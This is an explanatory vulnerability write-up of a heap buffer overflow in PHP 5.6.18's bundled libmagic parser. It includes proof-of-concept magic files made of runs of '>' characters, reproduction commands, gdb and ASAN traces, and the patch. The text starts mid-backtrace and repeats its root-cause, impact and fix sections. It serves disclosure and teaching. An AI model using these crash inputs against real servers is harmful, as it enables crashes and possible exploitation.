#4  0x00000000006fdfa6 in apprentice_1 (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:417
#5  0x00000000006fffae in file_apprentice (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:603
#6  0x0000000000725bb7 in magic_load (ms=<optimized out>, magicfile=<optimized out>) at /root/php-src/ext/fileinfo/libmagic/magic.c:267
#7  0x00000000006e61e5 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>)
    at /root/php-src/ext/fileinfo/fileinfo.c:347
#8  0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558
#9  0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363
#10 0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341
#11 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610
#12 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994
#13 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378
$1 = 10

At the breakpoint, level is 31 and ms->c.len is 10. The ASAN test file drives the level to 32. So the parser indexes well beyond an array that holds 10 entries.

Root cause

The bug is in file_check_mem() in ext/fileinfo/libmagic/funcs.c. The function is supposed to grow the per-level array ms->c.li whenever the requested level is at or beyond the current length ms->c.len. The original code grew the array by a fixed 20 entries, once:

C
if (level >= ms->c.len) {
        len = (ms->c.len += 20) * sizeof(*ms->c.li);
        ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ?
            emalloc(len) :
            erealloc(ms->c.li, len));

With ms->c.len at 10 and level at 31 or 32, a single increment of 20 leaves the length at 30, still below the level being indexed. The parser then writes to ms->c.li[level], past the end of the allocation. The ASAN report shows the write landing 36 bytes beyond a 480-byte region, which matches a struct level_info array of 30 entries being indexed at 31 or 32.

The reason the bug is not always visible is that the overflow lands in whatever follows the array on the heap. With the Zend allocator active, the damaged metadata is only touched later, when the warning message is formatted and a new allocation walks the free list, producing the zend_mm_remove_from_free_list fault. With glibc, the equivalent walk in _int_malloc faults. Without ASAN and with the Zend allocator active, the corruption happened to be harmless in this run, which is why the baseline showed only the "Failed to load magic database" warning.

Impact

The researcher's stated impact is that the bug allows writing arbitrary memory after the buffer, leading to memory corruption and possibly remote code execution. The ASAN report shows a 4-byte write past the end of the array. The report does not demonstrate code execution; it demonstrates an out-of-bounds write and the resulting crashes. Exploitation requires that an attacker can supply or influence the magic file passed to finfo_open().

Fix

The patch changes the single increment into a loop that keeps growing the array until it is longer than the requested level:

Diff
diff --git a/ext/fileinfo/libmagic/funcs.c b/ext/fileinfo/libmagic/funcs.c
index bd6d3d5..aefb95d 100644
--- a/ext/fileinfo/libmagic/funcs.c
+++ b/ext/fileinfo/libmagic/funcs.c
@@ -414,7 +414,7 @@ file_check_mem(struct magic_set *ms, unsigned int level)
        size_t len;

        if (level >= ms->c.len) {
-               len = (ms->c.len += 20) * sizeof(*ms->c.li);
+               while (level >= ms->c.len) len = (ms->c.len += 20) * sizeof(*ms->c.li);
                ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ?
                    emalloc(len) :
                    erealloc(ms->c.li, len));

After the patch, the researcher reports no crashes, and the output matches the non-ASAN, Zend-allocator baseline: the magic database fails to load and finfo_open() returns false. The upstream libmagic bug was reported separately, and the report notes it was fixed with a slightly different patch from upstream libmagic and applied to PHP.

Variants to test

  • Deeply nested continuation lines in a magic file: any input that drives the parser's level past the current array length should be tried, not just runs of >. A positive result is an ASAN heap-buffer-overflow in file_check_mem, or a crash whose presence depends on USE_ZEND_ALLOC.
  • Other libmagic entry points that parse attacker-controlled files: the same file_check_mem growth logic is shared, so any path that reaches the parser with a high nesting level is worth exercising.
  • Allocator permutations: run each candidate input with and without ASAN and with USE_ZEND_ALLOC set and unset. A crash that appears only in some configurations is a strong signal of heap corruption rather than a clean bounds check.
  • Boundary levels: try inputs that produce levels just above and just below the growth increment, since the bug only manifests when a single increment is insufficient.

Hunting notes

This kind of bug hides in parsers for file formats that carry their own nesting or length metadata, especially vendored third-party libraries inside a larger project. The ext/fileinfo/libmagic directory is a bundled copy of an upstream library, so fixes have to be tracked in two places.

During recon, the signals are: a feature that accepts a file path or file contents from the user, a bundled parser library, and crash behaviour that changes with allocator settings or sanitizer builds. Building the target with ASAN and running the same input with and without the custom allocator is the quickest way to separate a real memory corruption from a benign error path.

To show impact, the researcher mapped the crash to a specific function and line with ASAN, confirmed the index and array length in gdb, and demonstrated the same corruption producing different faults under glibc and the Zend allocator.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

PHP is a programming language used to build websites. It ships with a built-in feature called fileinfo that can look at a file and guess what kind of file it is: a picture, a PDF, a zip archive, and so on. To do that guessing, PHP uses a set of rules stored in a text file called a magic database. The same idea is behind the file command on Linux and macOS, which tells you "this is a PNG image" when you point it at a file.

A magic database is just a list of lines, each line describing a pattern to look for. PHP contains a copy of a small library called libmagic that reads that list. The PHP function finfo_open() lets the programmer pass in the path to a magic file, so if a website lets a user choose which magic file to load, the user's file ends up being read by the libmagic parser.

The bug is in that parser. A deliberately malformed magic file makes the parser write data past the end of a block of memory it had reserved. In programmer terms this is a heap buffer overflow: the program has a fixed-size box in memory, and it puts something in a slot beyond the box's edge, landing on whatever happens to sit next to it.

A useful comparison is a row of numbered lockers. The program reserves ten lockers and keeps a note saying "I have ten". When it needs locker number 31, it should first add more lockers. Instead it adds twenty once, ending up with thirty, and then still opens locker 31, which belongs to somebody else. Whatever it stores there damages a neighbour's property.

The report shows the crash in PHP 5.6.18, in four combinations: with and without a debugging tool called AddressSanitizer (ASAN), and with and without PHP's own memory manager (the Zend allocator). The point of trying all four is that memory corruption often hides in one configuration and shows itself in another.

Context

PHP's fileinfo extension gives programmers two functions. finfo_open() loads a magic database, and finfo_file() uses it to identify a file's contents. The magic database is a text file of rules, and PHP bundles a copy of libmagic to parse it. Because finfo_open() accepts a path to a magic file as its second argument, the parser is reachable with attacker-supplied input whenever an application lets a user point PHP at a magic file.

The bug is a heap buffer overflow in the libmagic parser inside PHP: a malformed magic file causes a write past the end of an allocated array of struct level_info. The report demonstrates it against PHP 5.6.18, both with and without AddressSanitizer and with and without the Zend memory manager.

A few terms first, because they come up constantly below.

  • Heap: the area of memory a program uses for things it creates while running, as opposed to the fixed space reserved for its code. When a program needs room for a list that can grow, it asks the operating system for a chunk of heap.
  • Buffer: a reserved chunk of memory meant to hold data. A buffer overflow means writing before or after that chunk.
  • Allocator: the part of the program that hands out and reclaims heap chunks. PHP has its own, the Zend memory manager, and the operating system's C library (glibc) has another, malloc.
  • AddressSanitizer (ASAN): a debugging tool added when compiling a program. It surrounds every allocation with invisible guard zones and shouts loudly the moment code reads or writes into one, instead of letting the damage go unnoticed.
  • Segmentation fault: the operating system killing a program because it touched memory it was not allowed to touch.

Setup

The report uses two PHP 5.6.18 binaries, php-5.6.18-noasan and php-5.6.18-asan, run through the CLI SAPI. The CLI SAPI is simply the command-line version of PHP, the one you get when you type php in a terminal rather than the one a web server uses.

The relevant environment variable is USE_ZEND_ALLOC. An environment variable is a named setting passed to a program when it starts. Setting USE_ZEND_ALLOC to 0 disables the Zend memory manager, so allocations go to the system malloc instead. That matters because the two allocators store their bookkeeping in different places, so the same corruption produces different symptoms.

The test harness is a small PHP script that opens a magic file given as the first argument and inspects a file given as the second:

PHP
<?php
$finfo = finfo_open(FILEINFO_NONE, $argv[1]);
$info = finfo_file($finfo, $argv[2]);
var_dump($info);
?>

Line by line:

  1. <?php opens a PHP code block.
  2. $finfo = finfo_open(FILEINFO_NONE, $argv[1]); loads a magic database. FILEINFO_NONE means "no special options". $argv[1] is the first argument typed after the script name on the command line, so this is the path to the magic file under test. The result, a handle to the loaded database, is stored in $finfo.
  3. $info = finfo_file($finfo, $argv[2]); asks that database to identify the file named by the second command-line argument, $argv[2].
  4. var_dump($info); prints whatever came back, including its type, so you can see whether it is a string or false.
  5. ?> closes the PHP block.

Two magic files are used. The first, for the non-ASAN build, is 31 > characters:

Its hex dump:

Text
0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e     >>>>>>>>>>>>>>>

A hex dump shows the raw bytes of a file. Each pair of characters after the offset is one byte written in hexadecimal, and the text on the right is the same bytes shown as characters. 3e is the byte for the > character, so this dump confirms the file is exactly 31 > bytes and nothing else.

The second, for the ASAN build, is 32 > characters followed by q, eight more >, a newline and a NUL byte:

Its hex dump:

Text
0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000020: 71 3e 3e 3e 3e 3e 3e 3e 3e 0a 00                 q>>>>>>>>..

Here 71 is the byte for q, 0a is a newline, and 00 is a NUL byte, the byte value zero that many C programs treat as the end of a string. The report gives no explanation for the extra bytes in the second file.

The program is invoked as:

Bash
./sapi/cli/php magic-open.php magic.crash /dev/null

This runs the command-line PHP binary, tells it to execute magic-open.php, passes the magic file as the first argument and /dev/null as the second. /dev/null is a special file on Linux that is always empty, so it is a harmless thing to identify. The path ./sapi/cli/php is where the freshly built binary sits inside the PHP source tree.

Finding it

The trigger is a magic file consisting of a long run of > characters. In libmagic's rule syntax, > at the start of a line means a continuation at a deeper level, so a line of nothing but > characters drives the parser's nesting level up without any valid rule content. Think of a list with sub-points and sub-sub-points: each > says "this rule belongs one level deeper than the one before". A line made only of > says "go deeper" over and over without ever saying what the rule is.

The parser tracks that nesting level and calls file_check_mem() to make sure its per-level bookkeeping array is large enough. With 31 or 32 levels, the array was not grown far enough, and the parser wrote past the end of it.

The researcher noticed the crash was conditional on the allocator. Without ASAN and with the Zend allocator active, the malformed file produced no crash at all: finfo_open() simply failed to load the database and returned false. With the Zend allocator disabled, the same input segfaulted. With ASAN, both allocator configurations crashed, and the ASAN build with USE_ZEND_ALLOC=0 pinpointed the write itself. That pattern, a crash that appears or disappears depending on which allocator is in use, is the signal that memory is being corrupted rather than merely misused.

Exploitation

Step 1: baseline, no ASAN and Zend allocator active

Bash
$ ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Warning: finfo_open(): Failed to load magic database at '/root/php-src/magic.crash-noasan'. in /root/php-src/magic-open.php on line 2

Warning: finfo_file() expects parameter 1 to be resource, boolean given in /root/php-src/magic-open.php on line 3
bool(false)

No crash. The magic database is rejected, finfo_open() returns false, and the subsequent finfo_file() call warns about the wrong argument type. No crash occurred in this configuration.

Reading the output: the first warning says the database could not be loaded, and points at line 2 of the script, the finfo_open() call. The second warning says finfo_file() expected a resource (the handle type finfo_open() normally returns) but got a boolean, because the failed call returned false. bool(false) is the final dump of the result. This is the "nothing visibly wrong" case, and it is exactly why memory bugs are dangerous: the program carried on as if all were well.

Step 2: no ASAN, Zend allocator disabled

Bash
 $ USE_ZEND_ALLOC=0 ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
Segmentation fault

With allocations going to glibc, the same input crashes. Under gdb:

gdb is the GNU debugger, a tool that lets you run a program, stop it at chosen points and inspect its state. The command below starts gdb with the PHP binary and its arguments, so the program can be run from inside the debugger.

Bash
 $ USE_ZEND_ALLOC=0 gdb --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
Text
(gdb) r
Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Program received signal SIGSEGV, Segmentation fault.
_int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489
3489    malloc.c: No such file or directory.
(gdb) bt
#0  _int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489
#1  0x00007ffff73727b0 in __GI___libc_malloc (bytes=79) at malloc.c:2891
#2  0x0000000000a9fb44 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffff9d30, fmt=fmt@entry=0x1188930 "Failed to load magic database at '%s'.",
    ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:245
#3  0x0000000000aa260d in vspprintf (pbuf=pbuf@entry=0x7fffffff9d90, max_len=max_len@entry=0, format=format@entry=0x1188930 "Failed to load magic database at '%s'.",
    ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:821
#4  0x0000000000a88caf in php_verror (docref=0x0, params=params@entry=0x116a24a "", type=type@entry=2,
    format=format@entry=0x1188930 "Failed to load magic database at '%s'.", args=args@entry=0x7fffffff9e30) at /root/php-src/main/main.c:786
#5  0x0000000000a8a644 in php_error_docref0 (docref=docref@entry=0x0, type=type@entry=2, format=format@entry=0x1188930 "Failed to load magic database at '%s'.")
    at /root/php-src/main/main.c:965
#6  0x00000000006e6338 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>)
    at /root/php-src/ext/fileinfo/fileinfo.c:348
#7  0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558
#8  0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363
#9  0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341
#10 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610
#11 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994
#12 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378
(gdb) x/i $rip
=> 0x7ffff736ff31 <_int_malloc+689>:    mov    %r14,0x10(%r9)
(gdb) i r
rax            0x7fffffff939f   140737488327583
rbx            0x7ffff76ae760   140737344366432
rcx            0x0      0
rdx            0x7ffff76ae788   140737344366472
rsi            0x7a0    1952
rdi            0x7ffff76ae760   140737344366432
rbp            0x60     0x60
rsp            0x7fffffff9310   0x7fffffff9310
r8             0x4      4
r9             0x0      0
r10            0x0      0
r11            0x416c20 4287520
r12            0x1878bb0        25660336
r13            0x6      6
r14            0x7ffff76ae7b8   140737344366520
r15            0x2710   10000
rip            0x7ffff736ff31   0x7ffff736ff31 <_int_malloc+689>
eflags         0x10287  [ CF PF SF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

What each part shows:

  1. (gdb) r is the command to run the program.
  2. Program received signal SIGSEGV, Segmentation fault. is the operating system reporting that the program touched memory it should not have.
  3. _int_malloc ... at malloc.c:3489 says the fault happened inside glibc's internal allocation routine, while it was trying to satisfy a request for 79 bytes.
  4. (gdb) bt prints the backtrace, the list of function calls that led to the crash, newest first. Reading from the bottom up: main starts the CLI, do_cli runs the script, php_execute_script executes it, zend_execute_scripts and the VM helpers run the PHP code, zif_finfo_open is the C function behind finfo_open(), and from there php_error_docref0, php_verror, vspprintf and xbuf_format_converter are formatting the "Failed to load magic database" warning. The last frame, _int_malloc, is where it died.
  5. (gdb) x/i $rip shows the exact machine instruction that faulted, a mov (a memory write).
  6. (gdb) i r lists the processor registers, the tiny storage slots inside the CPU. They are useful to an expert for reconstructing exactly what the code was doing, but the headline is the backtrace.

The fault is inside glibc's _int_malloc, reached from xbuf_format_converter while formatting the "Failed to load magic database" warning. The allocator is walking its own free-list structures and finds them corrupted. The researcher's reading is that the allocator is trying to determine free space from memory the overflow wrote to. Note that the crash happens on the error path, after the magic file has already been rejected.

Step 3: ASAN build, Zend allocator active

Bash
 $ ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null
ASAN:SIGSEGV
=================================================================
==20824== ERROR: AddressSanitizer: SEGV on unknown address 0x00000001f168 (pc 0x000000f9d7d4 sp 0x7ffc11db3770 bp 0x000000000000 T0)
AddressSanitizer can not provide additional info.
    #0 0xf9d7d3 in zend_mm_remove_from_free_list /root/php-src/Zend/zend_alloc.c:809
    #1 0xfa35f2 in _zend_mm_alloc_int /root/php-src/Zend/zend_alloc.c:2021
    #2 0xddffe7 in xbuf_format_converter /root/php-src/main/spprintf.c:794
    #3 0xde6b75 in vspprintf /root/php-src/main/spprintf.c:821
    #4 0xde6b75 in spprintf /root/php-src/main/spprintf.c:840
    #5 0xdc0d47 in php_verror /root/php-src/main/main.c:852
    #6 0xdc142a in php_error_docref0 /root/php-src/main/main.c:965
    #7  0x7fe8ca in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:348
    #8  0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558
    #9  0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363
    #10 0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341
    #11 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610
    #12 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994
    #13 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378
    #14 0x7f87f6409ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #15 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac)
SUMMARY: AddressSanitizer: SEGV /root/php-src/Zend/zend_alloc.c:809 zend_mm_remove_from_free_list
==20824== ABORTING
Aborted

ASAN prints a report whenever the program crashes, even when it cannot say exactly which memory access was wrong. Here it reports a segmentation fault on an address it calls unknown, and the backtrace again ends in the warning-formatting path, this time inside zend_mm_remove_from_free_list, a function of PHP's own allocator that removes a block from its list of free blocks. The #0 line is the innermost call, the place where the fault occurred; the higher numbers are the callers, ending at the program's entry point.

Here the fault is in zend_mm_remove_from_free_list, again reached from the warning formatting path. The researcher attributes this to ZEND_MM_CHECK_TREE being called on an mm_block whose parent pointer is invalid, which is consistent with the overflow having damaged the Zend allocator's block metadata. In plain terms: PHP's allocator keeps its free chunks in a tree-shaped index, and the overflow scribbled over one of the links in that tree, so the next lookup followed a nonsense pointer.

Step 4: ASAN build, Zend allocator disabled

Bash
 $ USE_ZEND_ALLOC=0 ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null
=================================================================
==20849== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60340000cd04 at pc 0x8664d0 bp 0x7ffcc02d84b0 sp 0x7ffcc02d84a8
WRITE of size 4 at 0x60340000cd04 thread T0
    #0 0x8664cf in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:426
    #1 0x80cd7b in parse /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520
    #2 0x80cd7b in load_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022
    #3 0x8184aa in apprentice_load /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215
    #4 0x81c6dc in apprentice_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:417
    #5 0x823594 in file_apprentice /root/php-src/ext/fileinfo/libmagic/apprentice.c:603
    #6 0x7fe571 in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:347
    #7  0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558
    #8  0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363
    #9  0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341
    #10 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610
    #11 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994
    #12 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378
    #13 0x7f773df01ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #14 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac)
0x60340000cd04 is located 36 bytes to the right of 480-byte region [0x60340000cb00,0x60340000cce0)
allocated by thread T0 here:
    #0 0x7f773e9df55f (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1555f)
    #1 0x8662ab in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:418
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/php-src/ext/fileinfo/libmagic/funcs.c:429 file_check_mem
Shadow bytes around the buggy address:
  0x0c06ffff9950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c06ffff9960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9990: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c06ffff99a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c06ffff99b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==20849== ABORTING
Aborted

This is the decisive trace. ASAN reports a 4-byte write at file_check_mem (funcs.c:426), 36 bytes to the right of a 480-byte region that file_check_mem itself allocated at funcs.c:418. The call chain runs from zif_finfo_open through file_apprentice, apprentice_1, apprentice_load, load_1 and parse into file_check_mem. The write is the overflow, and it happens during parsing of the magic file, before any error is reported.

How to read the report:

  1. WRITE of size 4 means the program stored four bytes where it should not have. Four bytes is the size of a typical integer.
  2. The #0 frame names the function and source line doing the write, file_check_mem at funcs.c:426. The frames below it are the parser functions that called it, ending at zif_finfo_open, the C function behind finfo_open().
  3. The line 0x60340000cd04 is located 36 bytes to the right of 480-byte region says the write landed 36 bytes past the end of a 480-byte chunk.
  4. The allocated by thread T0 here block says who created that chunk: file_check_mem itself, at funcs.c:418. So the function that reserved the memory is the same one that wrote past it.
  5. The shadow bytes are ASAN's map of memory. Each shadow byte describes eight real bytes: 00 means all eight are fine to use, fa means a guard zone that must not be touched. The arrow => points at the guard byte that was hit, which is how ASAN knows the write was out of bounds rather than merely unlucky.

Step 5: confirming the level values

To confirm the mechanism, the researcher broke on file_check_mem and inspected the level and the current array length. A breakpoint is a request to the debugger to pause the program at a named function so its variables can be examined.

Bash
$ gdb -ex 'break file_check_mem' -ex run -ex bt -ex 'p ms->c.len' -ex quit --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Each -ex passes one command to gdb: break file_check_mem sets the breakpoint, run starts the program, bt prints the backtrace when it stops, p ms->c.len prints the current length of the bookkeeping array, and quit exits.

Text
Breakpoint 1 at 0x7235a0: file /root/php-src/ext/fileinfo/libmagic/funcs.c, line 413.
Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Breakpoint 1, file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413
413     {
#0  file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413
#1  0x00000000006f1f3a in parse (action=<optimized out>, lineno=<optimized out>, line=0x7fffffff5bd0 '>' <repeats 31 times>, me=0x7fffffff5bc0, ms=<optimized out>)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520
#2  load_1 (ms=ms@entry=0x1879810, action=action@entry=0, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", errs=errs@entry=0x7fffffff7c60,
    mset=mset@entry=0x7fffffff7c70) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022
#3  0x00000000006f9a03 in apprentice_load (ms=ms@entry=0x1879810, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", action=action@entry=0)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215
#4  0x00000000006fdfa6 in apprentice_1 (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:417
#5  0x00000000006fffae in file_apprentice (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:603
#6  0x0000000000725bb7 in magic_load (ms=<optimized out>, magicfile=<optimized out>) at /root/php-src/ext/fileinfo/libmagic/magic.c:267
#7  0x00000000006e61e5 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>)
    at /root/php-src/ext/fileinfo/fileinfo.c:347
#8  0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558
#9  0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363
#10 0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341
#11 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610
#12 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994
#13 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378
$1 = 10

At the breakpoint, level is 31 and ms->c.len is 10. The ASAN test file drives the level to 32. So the parser indexes well beyond an array that holds 10 entries. The backtrace also shows the line being parsed: line=0x7fffffff5bd0 '>' <repeats 31 times>, which is the 31 > characters from the magic file, confirming that the nesting markers are what push the level up.

Root cause

The bug is in file_check_mem() in ext/fileinfo/libmagic/funcs.c. The function is supposed to grow the per-level array ms->c.li whenever the requested level is at or beyond the current length ms->c.len. The original code grew the array by a fixed 20 entries, once:

C
if (level >= ms->c.len) {
        len = (ms->c.len += 20) * sizeof(*ms->c.li);
        ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ?
            emalloc(len) :
            erealloc(ms->c.li, len));

Line by line:

  1. if (level >= ms->c.len) { checks whether the level the parser wants to use is at or past the current array length. If so, the array must grow.
  2. len = (ms->c.len += 20) * sizeof(*ms->c.li); adds 20 to the stored length and multiplies by the size of one entry to get the number of bytes needed. The += means the stored length is updated in the same step.
  3. ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ? starts assigning the new pointer. If the array does not exist yet, the next line allocates it fresh; otherwise the line after that resizes the existing one.
  4. emalloc(len) : allocates a new block of len bytes.
  5. erealloc(ms->c.li, len)); resizes the existing block to len bytes, keeping its contents.

With ms->c.len at 10 and level at 31 or 32, a single increment of 20 leaves the length at 30, still below the level being indexed. The parser then writes to ms->c.li[level], past the end of the allocation. The ASAN report shows the write landing 36 bytes beyond a 480-byte region, which matches a struct level_info array of 30 entries being indexed at 31 or 32.

The reason the bug is not always visible is that the overflow lands in whatever follows the array on the heap. With the Zend allocator active, the damaged metadata is only touched later, when the warning message is formatted and a new allocation walks the free list, producing the zend_mm_remove_from_free_list fault. With glibc, the equivalent walk in _int_malloc faults. Without ASAN and with the Zend allocator active, the corruption happened to be harmless in this run, which is why the baseline showed only the "Failed to load magic database" warning.

Impact

The researcher's stated impact is that the bug allows writing arbitrary memory after the buffer, leading to memory corruption and possibly remote code execution. Remote code execution means an attacker could get their own instructions to run on the server, not just crash it. The ASAN report shows a 4-byte write past the end of the array. The report does not demonstrate code execution; it demonstrates an out-of-bounds write and the resulting crashes. Exploitation requires that an attacker can supply or influence the magic file passed to finfo_open().

Fix

The patch changes the single increment into a loop that keeps growing the array until it is longer than the requested level:

Diff
diff --git a/ext/fileinfo/libmagic/funcs.c b/ext/fileinfo/libmagic/funcs.c
index bd6d3d5..aefb95d 100644
--- a/ext/fileinfo/libmagic/funcs.c
+++ b/ext/fileinfo/libmagic/funcs.c
@@ -414,7 +414,7 @@ file_check_mem(struct magic_set *ms, unsigned int level)
        size_t len;

        if (level >= ms->c.len) {
-               len = (ms->c.len += 20) * sizeof(*ms->c.li);
+               while (level >= ms->c.len) len = (ms->c.len += 20) * sizeof(*ms->c.li);
                ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ?
                    emalloc(len) :
                    erealloc(ms->c.li, len));

A diff is a before-and-after view of a source file. Lines starting with - are removed, lines starting with + are added, and lines starting with a space are unchanged context. The header lines name the file and the surrounding line numbers.

